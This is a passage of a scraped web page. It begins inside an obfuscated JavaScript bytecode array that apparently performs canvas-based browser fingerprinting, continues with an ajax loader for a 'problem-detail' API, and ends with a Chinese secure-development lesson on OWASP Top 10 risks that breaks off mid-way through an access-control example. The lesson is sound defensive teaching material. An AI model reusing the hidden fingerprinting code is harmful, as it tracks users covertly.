'KPzj'), 'createElement', '2d', Q0Q00OQ(0x31c, 'ppvG'), 'fingerprint', Q0Q00OQ(0x208, 'TUGE'), Q0Q00OQ(0x266, '8U5P'), Q0Q00OQ(0x284, '*OeU'), Q0Q00OQ(0x35a, 'tFri'), Q0Q00OQ(0x263, '8Yqt'), '#f60', 'fillStyle', 0x7d, 0x3e, 'fillRect', Q0Q00OQ(0x1ea, 'qBYY'), Q0Q00OQ(0x2b8, '[Vwq'), Q0Q00OQ(0x29d, 'G7LQ'), 0x11, Q0Q00OQ(0x238, 'yI15'), 'ss', Q0Q00OQ(0x1f6, 'MpX#'), Q0Q00OQ(0x22d, '8U5P'), 'uuu', Q0Q00OQ(0x29a, '4XjS'), Q0Q00OQ(0x309, '4XjS')], [0x4, 0x3, 0x9, 0x7, 0x0, 0x6, 0x17, 0xa, -0x1, 0xc, 0x4, 0x4, 0x1f, 0x0, 0x1, 0x4, 0x5, 0x2, 0x0, 0x1, 0xb, 0x2, 0x10, 0x4, 0x6, 0x9, 0x1e, 0x0, 0x6, 0x545, 0x4, 0x7, 0xa, 0x0, 0x3, 0x8, 0x3, 0x9, 0x3, 0xa, 0x3, 0xb, 0x3, 0xc, 0x3, 0xd, 0x3, 0xe, 0x3, 0xf, 0x3, 0x10, 0x3, 0x11, 0x3, 0x12, 0x3, 0x9, 0x3, 0x13, 0x5, 0x7, 0x1, 0xc, 0x4, 0x14, 0x2, 0x1, 0x1, 0xc, 0x4, 0x15, 0x1f, 0x1, 0x1, 0xc, 0x4, 0x8, 0x0, 0x1, 0x11, 0x0, 0x0, 0xc, 0x4, 0x8, 0x1, 0x1, 0x4, 0x16, 0x1, 0x1, 0x4, 0x17, 0x33, 0x1, 0x4, 0x18, 0x24, 0x1, 0x4, 0x19, 0x26, 0x1, 0x4, 0x1a, 0x33, 0x1, 0xc, 0x4, 0xc, 0x0, 0x1, 0x5, 0xc, 0x1, 0x4, 0x1b, 0x26, 0x1, 0xc, 0x4, 0x15, 0x1f, 0x1, 0x1, 0xc, 0x4, 0x7, 0x0, 0x1, 0x11, 0x1, 0x0, 0xc, 0x4, 0x8, 0x1, 0x1, 0x4, 0x1c, 0x1, 0x1, 0xc, 0x4, 0x15, 0x1f, 0x1, 0x1, 0xc, 0x4, 0x7, 0x1, 0x1, 0x4, 0x1d, 0x2, 0x1, 0x1, 0xc, 0x4, 0x7, 0x1, 0x1, 0x4, 0x1c, 0x1, 0x1, 0xc, 0x4, 0x1e, 0x1f, 0x1, 0x1, 0xc, 0x4, 0x7, 0x0, 0x1, 0x11, 0x1, 0x0, 0xe, 0x10b, 0xc, 0x4, 0x7, 0x1, 0x1, 0x4, 0x1c, 0x1, 0x1, 0xc, 0x4, 0x1f, 0x1f, 0x1, 0x1, 0xc, 0x4, 0xb, 0x0, 0x1, 0x4, 0x20, 0xc, 0x4, 0x9, 0x0, 0x1, 0x11, 0x1, 0x0, 0xf, 0x102, 0x5, 0x9, 0x1, 0x5, 0xc, 0x1, 0x31, 0x1, 0x7, 0x100, 0x5, 0x9, 0x1, 0x4, 0x1b, 0x26, 0x1, 0xc, 0x4, 0xb, 0x1, 0x1, 0x4, 0x21, 0x2, 0x1, 0x1, 0xc, 0x4, 0x7, 0x1, 0x1, 0xc, 0x4, 0x9, 0x1, 0x1, 0x0, 0x0, 0x10, 0xb, 0x1, 0xc, 0x4, 0x9, 0x19, 0x0, 0x0, 0x6, 0xd6, 0x10, 0xc, 0x4, 0x7, 0x1, 0x1, 0xc, 0x4, 0x8, 0x1, 0x1, 0x4, 0x16, 0x1, 0x1, 0x4, 0x1b, 0x25, 0x1, 0x1, 0x1, 0x4, 0x22, 0x4, 0x23, 0xc, 0x4, 0x8, 0x1, 0x1, 0x4, 0x16, 0x1, 0x1, 0x4, 0x24, 0x29, 0x1, 0x4, 0x17, 0x35, 0x1, 0x34, 0x1, 0x26, 0x1, 0x27, 0x1, 0xc, 0x4, 0x7, 0x1, 0x1, 0xc, 0x4, 0x8, 0x1, 0x1, 0x4, 0x16, 0x1, 0x1, 0x4, 0x1b, 0x25, 0x1, 0x0, 0x0, 0xc, 0x4, 0x8, 0x1, 0x1, 0x4, 0x16, 0x1, 0x1, 0x4, 0x24, 0x26, 0x1, 0xc, 0x4, 0x7, 0x1, 0x1, 0x5, 0xc, 0x1, 0x4, 0x25, 0x34, 0x1, 0x0, 0x0, 0x1e, 0x0, 0x1, 0xc, 0x4, 0xd, 0x0, 0x1, 0x4, 0x20, 0x9, 0x178, 0x1, 0x6, 0x1aa, 0xa, -0x1, 0xc, 0x4, 0x11, 0x1, 0x1, 0x4, 0x25, 0x1, 0x1, 0xc, 0x4, 0x11, 0x1, 0x1, 0x4, 0x1b, 0x1, 0x1, 0x29, 0x1, 0xc, 0x4, 0x11, 0x1, 0x1, 0x4, 0x25, 0x1, 0x1, 0x12, 0x39, 0x1, 0xc, 0x4, 0x11, 0x1, 0x1, 0x4, 0x24, 0x1, 0x1, 0x29, 0x1, 0x27, 0x1, 0xb, 0x2, 0x10, 0x4, 0x20, 0x9, 0x1b1, 0x1, 0x6, 0x1d5, 0xa, -0x1, 0xc, 0x4, 0x11, 0x1, 0x1, 0x4, 0x25, 0x1, 0x1, 0xc, 0x4, 0x11, 0x1, 0x1, 0x4, 0x1b, 0x1, 0x1, 0x38, 0x1, 0xc, 0x4, 0x11, 0x1, 0x1, 0x4, 0x24, 0x1, 0x1, 0x38, 0x1, 0xb, 0x2, 0x10, 0x4, 0x20, 0x9, 0x1dc, 0x1, 0x6, 0x221, 0xa, -0x1, 0xc, 0x4, 0x11, 0x1, 0x1, 0x4, 0x25, 0x1, 0x1, 0xc, 0x4, 0x11, 0x1, 0x1, 0x4, 0x1b, 0x1, 0x1, 0x29, 0x1, 0xc, 0x4, 0x11, 0x1, 0x1, 0x4, 0x25, 0x1, 0x1, 0xc, 0x4, 0x11, 0x1, 0x1, 0x4, 0x24, 0x1, 0x1, 0x29, 0x1, 0x27, 0x1, 0xc, 0x4, 0x11, 0x1, 0x1, 0x4, 0x1b, 0x1, 0x1, 0xc, 0x4, 0x11, 0x1, 0x1, 0x4, 0x24, 0x1, 0x1, 0x29, 0x1, 0x27, 0x1, 0xb, 0x2, 0x10, 0x4, 0x20, 0x9, 0x228, 0x1, 0x6, 0x24c, 0xa, -0x1, 0xc, 0x4, 0x11, 0x1, 0x1, 0x4, 0x25, 0x1, 0x1, 0xc, 0x4, 0x11, 0x1, 0x1, 0x4, 0x1b, 0x1, 0x1, 0x38, 0x1, 0xc, 0x4, 0x11, 0x1, 0x1, 0x4, 0x24, 0x1, 0x1, 0x38, 0x1, 0xb, 0x2, 0x10, 0x1e, 0x4, 0x1, 0xc, 0x4, 0xe, 0x0, 0x1, 0x4, 0x20, 0x9, 0x25b, 0x1, 0x6, 0x27a, 0x4, 0x26, 0x4, 0x27, 0xa, 0x1, 0x5, 0x26, 0x1, 0x5, 0x27, 0x1, 0x26, 0x1, 0x5, 0x26, 0x1, 0x4, 0x28, 0x5, 0x27, 0x1, 0x34, 0x1, 0x24, 0x1, 0x27, 0x1, 0xb, 0x2, 0x10, 0xc, 0x4, 0xf, 0x0, 0x1, 0x4, 0x29, 0x4, 0x2a, 0x4, 0x20, 0x4, 0x2b, 0x34, 0x1, 0x4, 0x20, 0x4, 0x2c, 0x34, 0x1, 0x1e, 0x4, 0x1, 0xc, 0x4, 0x10, 0x0, 0x1, 0x4, 0x2d, 0x4, 0x20, 0x4, 0x2e, 0x34, 0x1, 0x4, 0x2f, 0x4, 0x2f, 0x4, 0x20, 0x4, 0x30, 0x34, 0x1, 0x1e, 0x5, 0x1, 0xc, 0x4, 0x11, 0x0, 0x1, 0x11, 0x4, 0x0, 0xc, 0x4, 0x11, 0x1, 0x1, 0x4, 0x20, 0x1, 0x1, 0x12, 0x39, 0x1, 0xc, 0x4, 0x11, 0x1, 0x1, 0x4, 0x1b, 0x0, 0x1, 0xc, 0x4, 0x11, 0x1, 0x1, 0x4, 0x25, 0x1, 0x1, 0x12, 0x39, 0x1, 0xc, 0x4, 0x11, 0x1, 0x1, 0x4, 0x24, 0x0, 0x1, 0x11, 0x1, 0x0, 0xe, 0x488, 0x4, 0x20, 0xc, 0x4, 0x9, 0x0, 0x0, 0xf, 0x479, 0x5, 0x9, 0x1, 0xc, 0x4, 0x7, 0x1, 0x1, 0x4, 0x16, 0x1, 0x1, 0x31, 0x1, 0x7, 0x477, 0x4, 0x20, 0xc, 0x4, 0x11, 0x1, 0x1, 0x4, 0x31, 0x2, 0x1, 0x1, 0xc, 0x4, 0x12, 0x0, 0x1, 0x11, 0x0, 0x0, 0xe, 0x42c, 0x4, 0x20, 0xc, 0x4, 0xa, 0x0, 0x0, 0xf, 0x423, 0x5, 0xa, 0x1, 0x4, 0x32, 0x31, 0x1, 0x7, 0x421, 0x5, 0xa, 0x1, 0x4, 0x1a, 0x31, 0x1, 0x7, 0x33e, 0xc, 0x4, 0x7, 0x1, 0x1, 0x5, 0x9, 0x1, 0x5, 0xa, 0x1, 0x33, 0x1, 0x1, 0x1, 0x6, 0x384, 0xc, 0x4, 0xd, 0x1, 0x1, 0x5, 0xa, 0x1, 0x4, 0x24, 0x34, 0x1, 0x1, 0x1, 0xc, 0x4, 0xd, 0x1, 0x1, 0x5, 0xa, 0x1, 0x4, 0x17, 0x34, 0x1, 0x1, 0x1, 0x38, 0x1, 0xc, 0x4, 0xd, 0x1, 0x1, 0x5, 0xa, 0x1, 0x4, 0x33, 0x34, 0x1, 0x1, 0x1, 0x38, 0x1, 0xc, 0x4, 0xd, 0x1, 0x1, 0x5, 0xa, 0x1, 0x4, 0x1a, 0x34, 0x1, 0x1, 0x1, 0x38, 0x1, 0x4, 0x25, 0xc, 0x4, 0xf, 0x2, 0x2, 0x1, 0xc, 0x4, 0xd, 0x1, 0x1, 0xc, 0x4, 0xa, 0x1, 0x1, 0x0, 0x1, 0xc, 0x4, 0x11, 0x1, 0x1, 0x4, 0x20, 0x1, 0x1, 0x4, 0x34, 0xc, 0x4, 0xf, 0x2, 0x2, 0x1, 0xc, 0x4, 0xe, 0x1, 0x1, 0x5, 0xa, 0x1, 0x4, 0x35, 0x36, 0x1, 0x4, 0x20, 0x27, 0x1, 0x2, 0x0, 0x1, 0x33, 0x1, 0xc, 0x4, 0x11, 0x1, 0x1, 0x4, 0x19, 0x1, 0x1, 0x33, 0x1, 0xc, 0x4, 0xd, 0x1, 0x1, 0xc, 0x4, 0xa, 0x1, 0x1, 0x1, 0x1, 0x33, 0x1, 0xc, 0x4, 0x10, 0x1, 0x1, 0x5, 0xa, 0x1, 0x4, 0x35, 0x36, 0x1, 0x4, 0x20, 0x27, 0x1, 0x1, 0x1, 0x33, 0x1, 0x4, 0x20, 0x27, 0x1, 0xc, 0x4, 0xb, 0x0, 0x1, 0xc, 0x4, 0x11, 0x1, 0x1, 0x4, 0x25, 0x1, 0x1, 0x4, 0x36, 0xc, 0x4, 0xf, 0x2, 0x2, 0x1, 0xc, 0x4, 0x11, 0x1, 0x1, 0x4, 0x25, 0x0, 0x1, 0xc, 0x4, 0x11, 0x1, 0x1, 0x4, 0x37, 0x2, 0x0, 0x1, 0x5, 0xb, 0x1, 0xc, 0x4, 0x11, 0x1, 0x1, 0x4, 0x38, 0x2, 0x1, 0x1, 0x11, 0x4, 0x0, 0x10, 0xb, 0x1, 0xc, 0x4, 0xa, 0x19, 0x0, 0x0, 0x6, 0x319, 0x10, 0xe, 0x476, 0x4, 0x20, 0xc, 0x4, 0xa, 0x0, 0x0, 0xf, 0x46d, 0x5, 0xa, 0x1, 0x4, 0x34, 0x31, 0x1, 0x7, 0x46b, 0xc, 0x4, 0x11, 0x1, 0x1, 0xc, 0x4, 0xa, 0x1, 0x1, 0x1, 0x1, 0xc, 0x4, 0x12, 0x1, 0x1, 0xc, 0x4, 0xa, 0x1, 0x1, 0x1, 0x1, 0x33, 0x1, 0x4, 0x20, 0x27, 0x1, 0xc, 0x4, 0x11, 0x1, 0x1, 0xc, 0x4, 0xa, 0x1, 0x1, 0x0, 0x0, 0x10, 0xb, 0x1, 0xc, 0x4, 0xa, 0x19, 0x0, 0x0, 0x6, 0x435, 0x10, 0x10, 0xb, 0x1, 0x5, 0x9, 0x1, 0x4, 0x1a, 0x33, 0x1, 0xc, 0x4, 0x9, 0x0, 0x0, 0x6, 0x2ea, 0x10, 0x5, 0x11, 0x1, 0xc, 0x4, 0x1e, 0x1f, 0x1, 0x1, 0x4, 0x1c, 0x1, 0x1, 0xc, 0x4, 0x1f, 0x1f, 0x1, 0x1, 0xc, 0x4, 0xb, 0x0, 0x0, 0xe, 0x4e0, 0x4, 0x20, 0xc, 0x4, 0x9, 0x0, 0x1, 0x11, 0x0, 0x0, 0xf, 0x4d7, 0x5, 0x9, 0x1, 0x4, 0x34, 0x31, 0x1, 0x7, 0x4d5, 0x5, 0x9, 0x1, 0x4, 0x1b, 0x26, 0x1, 0xc, 0x4, 0xb, 0x1, 0x1, 0x4, 0x21, 0x2, 0x1, 0x1, 0xc, 0x4, 0x11, 0x1, 0x1, 0xc, 0x4, 0x9, 0x1, 0x1, 0x0, 0x0, 0x10, 0xb, 0x1, 0xc, 0x4, 0x9, 0x19, 0x0, 0x0, 0x6, 0x4ac, 0x10, 0x4, 0x39, 0x5, 0x11, 0x1, 0xc, 0x4, 0x1e, 0x1f, 0x1, 0x1, 0x4, 0x1c, 0x1, 0x1, 0xc, 0x4, 0x15, 0x1f, 0x1, 0x1, 0x4, 0x20, 0x9, 0x4fc, 0x1, 0x6, 0x520, 0x4, 0x3a, 0xa, 0x0, 0x5, 0x3a, 0x1, 0x4, 0x1a, 0x31, 0x1, 0x7, 0x50d, 0x4, 0x3b, 0x6, 0x50f, 0x4, 0x39, 0x4, 0x1a, 0xc, 0x4, 0x3a, 0x1, 0x1, 0x4, 0x3c, 0x2, 0x1, 0x1, 0x33, 0x1, 0xb, 0x2, 0x10, 0xc, 0x4, 0x3d, 0x1, 0x1, 0x4, 0x3e, 0x1, 0x1, 0x4, 0x3f, 0x1, 0x1, 0x4, 0x40, 0x2, 0x2, 0x1, 0x4, 0x41, 0x2, 0x1, 0x1, 0xc, 0x4, 0x13, 0x0, 0x1, 0x11, 0x0, 0x0, 0x5, 0x13, 0x1, 0xb, 0x2, 0x10, 0x4, 0x14, 0x9, 0x54c, 0x0, 0x6, 0x68f, 0x4, 0x7, 0xa, 0x0, 0x3, 0x9, 0x3, 0x42, 0x3, 0x27, 0x3, 0x43, 0x1e, 0x0, 0x1, 0xc, 0x4, 0x42, 0x0, 0x1, 0x11, 0x0, 0x0, 0xe, 0x689, 0x4, 0x20, 0xc, 0x4, 0x9, 0x0, 0x0, 0xf, 0x680, 0x5, 0x9, 0x1, 0xc, 0x4, 0x7, 0x1, 0x1, 0x4, 0x16, 0x1, 0x1, 0x31, 0x1, 0x7, 0x67e, 0x5, 0x9, 0x1, 0xc, 0x4, 0x7, 0x1, 0x1, 0x4, 0x44, 0x2, 0x1, 0x1, 0xc, 0x4, 0x27, 0x0, 0x1, 0x4, 0x22, 0x31, 0x1, 0x7, 0x5a5, 0x5, 0x27, 0x1, 0xc, 0x4, 0x42, 0x1, 0x1, 0x4, 0x45, 0x2, 0x1, 0x0, 0x6, 0x67d, 0x5, 0x27, 0x1, 0x4, 0x46, 0x31, 0x1, 0x7, 0x5d4, 0x4, 0x47, 0x5, 0x27, 0x1, 0x4, 0x18, 0x25, 0x1, 0x4, 0x48, 0x29, 0x1, 0x33, 0x1, 0x4, 0x22, 0x5, 0x27, 0x1, 0x4, 0x49, 0x29, 0x1, 0x33, 0x1, 0xc, 0x4, 0x42, 0x1, 0x1, 0x4, 0x45, 0x2, 0x2, 0x0, 0x6, 0x67d, 0xe, 0x67d, 0x5, 0x27, 0x1, 0x4, 0x4a, 0x38, 0x1, 0xc, 0x4, 0x43, 0x0, 0x1, 0x4, 0x4b, 0x25, 0x1, 0x4, 0x20, 0x2d, 0x1, 0x7, 0x63f, 0x5, 0x43, 0x1, 0x4, 0x4b, 0x26, 0x1, 0xc, 0x4, 0x9, 0x19, 0x1, 0x1, 0xc, 0x4, 0x7, 0x1, 0x1, 0x4, 0x44, 0x2, 0x1, 0x1, 0x4, 0x4c, 0x38, 0x1, 0x33, 0x1, 0x4, 0x4d, 0x33, 0x1, 0xc, 0x4, 0x27, 0x0, 0x1, 0x4, 0x4e, 0x5, 0x27, 0x1, 0x4, 0x4f, 0x25, 0x1, 0x4, 0x50, 0x29, 0x1, 0x33, 0x1, 0x4, 0x22, 0x5, 0x27, 0x1, 0x4, 0x51, 0x25, 0x1, 0x4, 0x49, 0x29, 0x1, 0x33, 0x1, 0xc, 0x4, 0x42, 0x1, 0x1, 0x4, 0x45, 0x2, 0x2, 0x1, 0x11, 0x1, 0x0, 0x6, 0x658, 0x4, 0x52, 0x5, 0x27, 0x1, 0x4, 0x51, 0x25, 0x1, 0x4, 0x53, 0x29, 0x1, 0x33, 0x1, 0xc, 0x4, 0x42, 0x1, 0x1, 0x4, 0x45, 0x2, 0x1, 0x0, 0x4, 0x22, 0x5, 0x27, 0x1, 0x4, 0x18, 0x25, 0x1, 0x4, 0x49, 0x29, 0x1, 0x33, 0x1, 0x4, 0x22, 0x5, 0x27, 0x1, 0x4, 0x49, 0x29, 0x1, 0x33, 0x1, 0xc, 0x4, 0x42, 0x1, 0x1, 0x4, 0x45, 0x2, 0x2, 0x0, 0x10, 0x10, 0xb, 0x1, 0xc, 0x4, 0x9, 0x19, 0x0, 0x0, 0x6, 0x56c, 0x10, 0x5, 0x42, 0x1, 0xb, 0x2, 0x10, 0x5, 0x54, 0x1, 0x4, 0x20, 0x4, 0x20, 0x9, 0x69b, 0x1, 0x6, 0x828, 0x4, 0x55, 0xa, 0x0, 0x3, 0x56, 0xc, 0x4, 0x55, 0x1, 0x1, 0x4, 0x57, 0x1, 0x1, 0xc, 0x4, 0x56, 0x0, 0x0, 0x3, 0x58, 0x1e, 0x0, 0x1, 0xc, 0x4, 0x58, 0x0, 0x0, 0x3, 0x59, 0x1e, 0x0, 0x1, 0xc, 0x4, 0x59, 0x0, 0x0, 0x4, 0x20, 0x9, 0x6ca, 0x1, 0x6, 0x6dc, 0x4, 0x5a, 0xa, 0x0, 0x5, 0x5a, 0x1, 0xc, 0x4, 0x58, 0x1, 0x1, 0x4, 0x45, 0x2, 0x1, 0x0, 0x10, 0xc, 0x4, 0x55, 0x1, 0x1, 0x4, 0x5b, 0x0, 0x0, 0x4, 0x20, 0x9, 0x6ec, 0x1, 0x6, 0x6fe, 0x4, 0x5a, 0xa, 0x0, 0x5, 0x5a, 0x1, 0xc, 0x4, 0x59, 0x1, 0x1, 0x4, 0x45, 0x2, 0x1, 0x0, 0x10, 0xc, 0x4, 0x55, 0x1, 0x1, 0x4, 0x5c, 0x0, 0x0, 0x4, 0x20, 0x9, 0x70e, 0x1, 0x6, 0x81e, 0x4, 0x5d, 0xa, 0x0, 0x4, 0x20, 0x9, 0x719, 0x1, 0x6, 0x730, 0x4, 0x5a, 0xa, 0x0, 0x5, 0x5d, 0x1, 0xc, 0x4, 0x5a, 0x2, 0x1, 0x1, 0x4, 0x5d, 0x28, 0x1, 0xc, 0x4, 0x5d, 0x0, 0x0, 0x10, 0xc, 0x4, 0x58, 0x1, 0x1, 0x4, 0x5e, 0x2, 0x1, 0x0, 0x4, 0x5f, 0x1c, 0x5, 0x5d, 0x1, 0x1c, 0x4, 0x60, 0x4, 0x20, 0x9, 0x74a, 0x1, 0x6, 0x7a4, 0x4, 0x8, 0x4, 0x61, 0x4, 0x62, 0xa, 0x2, 0x4, 0x20, 0x9, 0x759, 0x1, 0x6, 0x776, 0x4, 0x5a, 0xa, 0x0, 0x5, 0x8, 0x1, 0x5, 0x61, 0x1, 0x5, 0x62, 0x1, 0xc, 0x4, 0x5a, 0x2, 0x3, 0x1, 0x4, 0x8, 0x28, 0x1, 0xc, 0x4, 0x8, 0x0, 0x0, 0x10, 0xc, 0x4, 0x59, 0x1, 0x1, 0x4, 0x5e, 0x2, 0x1, 0x0, 0xc, 0x4, 0x5d, 0x1, 0x1, 0x4, 0x60, 0x1, 0x1, 0x7, 0x7a3, 0xe, 0x7a1, 0x5, 0x8, 0x1, 0x5, 0x61, 0x1, 0x5, 0x62, 0x1, 0xc, 0x4, 0x5d, 0x1, 0x1, 0x4, 0x60, 0x2, 0x3, 0x0, 0x10, 0x6, 0x7a3, 0x10, 0x1d, 0x1, 0x4, 0x63, 0x4, 0x20, 0x9, 0x7af, 0x1, 0x6, 0x809, 0x4, 0x62, 0x4, 0x61, 0x4, 0x64, 0xa, 0x2, 0x4, 0x20, 0x9, 0x7be, 0x1, 0x6, 0x7db, 0x4, 0x5a, 0xa, 0x0, 0x5, 0x62, 0x1, 0x5, 0x61, 0x1, 0x5, 0x64, 0x1, 0xc, 0x4, 0x5a, 0x2, 0x3, 0x1, 0x4, 0x62, 0x28, 0x1, 0xc, 0x4, 0x62, 0x0, 0x0, 0x10, 0xc, 0x4, 0x59, 0x1, 0x1, 0x4, 0x5e, 0x2, 0x1, 0x0, 0xc, 0x4, 0x5d, 0x1, 0x1, 0x4, 0x63, 0x1, 0x1, 0x7, 0x808, 0xe, 0x806, 0x5, 0x62, 0x1, 0x5, 0x61, 0x1, 0x5, 0x64, 0x1, 0xc, 0x4, 0x5d, 0x1, 0x1, 0x4, 0x63, 0x2, 0x3, 0x0, 0x10, 0x6, 0x808, 0x10, 0x1d, 0x1, 0xc, 0x4, 0x55, 0x1, 0x1, 0x4, 0x65, 0x2, 0x4, 0x1, 0xc, 0x4, 0x56, 0x2, 0x1, 0x1, 0xb, 0x2, 0x10, 0xc, 0x4, 0x55, 0x1, 0x1, 0x4, 0x57, 0x0, 0x0, 0x10, 0x2, 0x1, 0x0, 0x4, 0x20, 0x9, 0x832, 0x1, 0x6, 0x89a, 0x4, 0x5d, 0xa, 0x0, 0x3, 0x66, 0xc, 0x4, 0x3, 0x2, 0x0, 0x1, 0xc, 0x4, 0x66, 0x0, 0x0, 0xc, 0x4, 0x5d, 0x1, 0x1, 0x4, 0x67, 0x1, 0x1, 0x4, 0x68, 0x33, 0x1, 0x4, 0x11, 0x33, 0x1, 0x4, 0x69, 0x33, 0x1, 0x4, 0x6a, 0xc, 0x4, 0x5d, 0x1, 0x1, 0x4, 0x67, 0x1, 0x1, 0x33, 0x1, 0x5, 0x66, 0x1, 0x33, 0x1, 0xc, 0x4, 0x6, 0x2, 0x1, 0x1, 0x33, 0x1, 0xd, 0x4, 0x6b, 0x0, 0x0, 0x5, 0x6b, 0x1, 0x4, 0x68, 0x33, 0x1, 0x4, 0xb, 0x33, 0x1, 0x4, 0x69, 0x33, 0x1, 0x5, 0x66, 0x1, 0x33, 0x1, 0xc, 0x4, 0x5d, 0x1, 0x1, 0x4, 0x67, 0x0, 0x0, 0x5, 0x5d, 0x1, 0xb, 0x2, 0x10, 0xc, 0x4, 0x55, 0x1, 0x1, 0x4, 0x5b, 0x2, 0x1, 0x0, 0x4, 0x20, 0x9, 0x8ab, 0x1, 0x6, 0x8e0, 0x4, 0x8, 0x4, 0x61, 0x4, 0x62, 0xa, 0x2, 0xc, 0x4, 0x8, 0x1, 0x1, 0x4, 0x6c, 0x1, 0x1, 0x4, 0x63, 0x2f, 0x1, 0x7, 0x8da, 0xe, 0x8d8, 0x4, 0x6d, 0xc, 0x4, 0x8, 0x1, 0x1, 0x4, 0x6e, 0x1, 0x1, 0x33, 0x1, 0xc, 0x4, 0x6f, 0x2, 0x1, 0x0, 0x10, 0x6, 0x8da, 0x5, 0x8, 0x1, 0xb, 0x2, 0x10, 0xc, 0x4, 0x55, 0x1, 0x1, 0x4, 0x5c, 0x2, 0x1, 0x0, 0x4, 0x20, 0x4, 0x20, 0x9, 0x8f3, 0x1, 0x6, 0xa02, 0xa, -0x1, 0x3, 0x70, 0x3, 0x71, 0x3, 0x72, 0x3, 0x73, 0x3, 0x74, 0x3, 0x75, 0x3, 0x76, 0xc, 0x4, 0x77, 0x1, 0x1, 0x4, 0x78, 0x1, 0x1, 0xc, 0x4, 0x70, 0x0, 0x1, 0x11, 0x0, 0x0, 0xc, 0x4, 0x77, 0x1, 0x1, 0x4, 0x79, 0x1, 0x1, 0xc, 0x4, 0x71, 0x0, 0x1, 0x11, 0x0, 0x0, 0x4, 0x72, 0xc, 0x4, 0x7a, 0x1, 0x1, 0x4, 0x7b, 0x2, 0x1, 0x1, 0xc, 0x4, 0x72, 0x0, 0x1, 0x11, 0x0, 0x0, 0x4, 0x7c, 0xc, 0x4, 0x72, 0x1, 0x1, 0x4, 0x7d, 0x2, 0x1, 0x1, 0xc, 0x4, 0x73, 0x0, 0x1, 0x11, 0x0, 0x0, 0x4, 0x7e, 0xc, 0x4, 0x74, 0x0, 0x1, 0x11, 0x0, 0x0, 0x4, 0x7f, 0xc, 0x4, 0x73, 0x1, 0x1, 0x4, 0x80, 0x0, 0x0, 0x4, 0x81, 0xc, 0x4, 0x73, 0x1, 0x1, 0x4, 0x82, 0x0, 0x0, 0x4, 0x83, 0xc, 0x4, 0x73, 0x1, 0x1, 0x4, 0x80, 0x0, 0x0, 0x4, 0x84, 0xc, 0x4, 0x73, 0x1, 0x1, 0x4, 0x85, 0x0, 0x0, 0x4, 0x86, 0x4, 0x25, 0x4, 0x87, 0x4, 0x35, 0xc, 0x4, 0x73, 0x1, 0x1, 0x4, 0x88, 0x2, 0x4, 0x0, 0x4, 0x89, 0xc, 0x4, 0x73, 0x1, 0x1, 0x4, 0x85, 0x0, 0x0, 0x5, 0x74, 0x1, 0x4, 0x1b, 0x4, 0x53, 0xc, 0x4, 0x73, 0x1, 0x1, 0x4, 0x8a, 0x2, 0x3, 0x0, 0x4, 0x8b, 0xc, 0x4, 0x73, 0x1, 0x1, 0x4, 0x85, 0x0, 0x0, 0x5, 0x74, 0x1, 0x4, 0x19, 0x4, 0x8c, 0xc, 0x4, 0x73, 0x1, 0x1, 0x4, 0x8a, 0x2, 0x3, 0x0, 0xc, 0x4, 0x72, 0x1, 0x1, 0x4, 0x8d, 0x2, 0x0, 0x1, 0xc, 0x4, 0x75, 0x0, 0x1, 0x11, 0x0, 0x0, 0x4, 0x76, 0xc, 0x4, 0x7a, 0x1, 0x1, 0x4, 0x7b, 0x2, 0x1, 0x1, 0xc, 0x4, 0x76, 0x0, 0x1, 0x11, 0x0, 0x0, 0x4, 0x8e, 0x4, 0x8f, 0xc, 0x4, 0x76, 0x1, 0x1, 0x4, 0x90, 0x2, 0x2, 0x0, 0x10, 0x2, 0x0, 0x0, 0x4, 0x20, 0x9, 0xa0c, 0x1, 0x6, 0xa3a, 0xa, -0x1, 0x3, 0x91, 0xc, 0x4, 0x92, 0x1, 0x1, 0x4, 0x93, 0x1, 0x1, 0xc, 0x4, 0x91, 0x0, 0x1, 0x11, 0x0, 0x0, 0xc, 0x4, 0x91, 0x1, 0x1, 0x4, 0x16, 0x1, 0x1, 0x4, 0x24, 0x32, 0x1, 0x7, 0xa39, 0xe, 0xa37, 0x4, 0x5f, 0xb, 0x2, 0x10, 0x6, 0xa39, 0x10])); function loadPage(page) { const params = { page: page, }; const queryString = new URLSearchParams(params).toString(); $.ajax({ url: `/api/problem-detail/12/data/?${queryString}`, method: 'GET', dataType: 'json', success: function(data) { if (!data) { return } console.log(data) updatePageContent(data); }, error: function(jqXHR, textStatus, errorThrown) { console.error('Error fetching problem details:', textStatus, errorThrown); } }); } function get_url(page){ loadPage(page) return window.url } console.log(get_url(1));
安全开发的意义 安全是开发的核心前提：在代码编写与系统设计的全流程中，主动预判并规避潜在安全漏洞是开发工作的基础环节，而非后续补充。这要求开发者将安全思维融入需求分析、编码实现、测试验证等每一步，从源头降低漏洞引入风险。 安全的本质是风险可控：没有绝对的安全是行业共识，安全开发的目标并非追求 “零风险”，而是通过体系化措施将风险压缩至可接受的极低范围，实现 “相对安全” 的稳态。 安全投入直接关联核心利益：产品安全工作的深度与广度，直接决定了黑客的攻击成本。每多一分安全加固，都能提升攻击门槛，从而为客户数据安全与公司商业利益增添一道坚固屏障。 左移安全显著降低综合成本：将安全考量与问题解决左移至产品生命周期的早期（如设计阶段、编码初期），实现早规划、早发现、早修复，能大幅降低后期（如上线后）修复漏洞的技术难度与时间成本，更能有效避免漏洞被利用导致的业务中断、数据泄露等重大损失。 安全威胁来自哪里 黑/灰产业链：用户信息买卖、订单信息买卖、数据库买卖、电信订单诈骗、黄牛刷单（活动低价商品、优惠券）、0元订单。 白帽子黑客 竞争对手 合作伙伴 供应商 外包商 内部人员 漏洞排行榜 OWASP是什么？ OWASP 是 Open Web Application Security Project（开放式 Web 应用程序安全项目）的缩写，是一个全球性的、非营利性的网络安全组织，致力于提升 Web 应用程序的安全性。 OWASP 的核心使命是 “使安全成为软件开发生命周期中不可分割的一部分”。它通过汇聚全球各地的安全专家、开发人员、研究人员和技术爱好者，以开源协作的方式产出免费、公开的安全资源，帮助企业和个人理解、应对 Web 应用面临的安全风险，打破安全知识和工具的壁垒。 OWASP VS XXX TOP10 OWASP TOP 10 XXX TOP 10 失效的访问控制 不安全的设计 加密失败 敏感信息泄露 注入 失效的访问控制 不安全的设计 安全配置错误 安全配置错误 使用易受攻击和过时的组件 使用易受攻击和过时的组件 注入 身份识别和身份验证失败 跨站脚本 软件和数据完整性故障 不安全的反序列化 安全日志记录和监控失败 服务端请求伪造 服务器端请求伪造 加密失败 OWASP TOP 10高频场景 失效的访问控制：用户的访问权限控制不足，攻击者可能未经授权访问敏感数据或执行关键操作。 水平越权（同权限组用户互访） 某电商 APP 的 “我的订单” 接口为 GET /api/metacat/XXX?groupId=61，后端仅校验用户是否登录，未校验 groupId 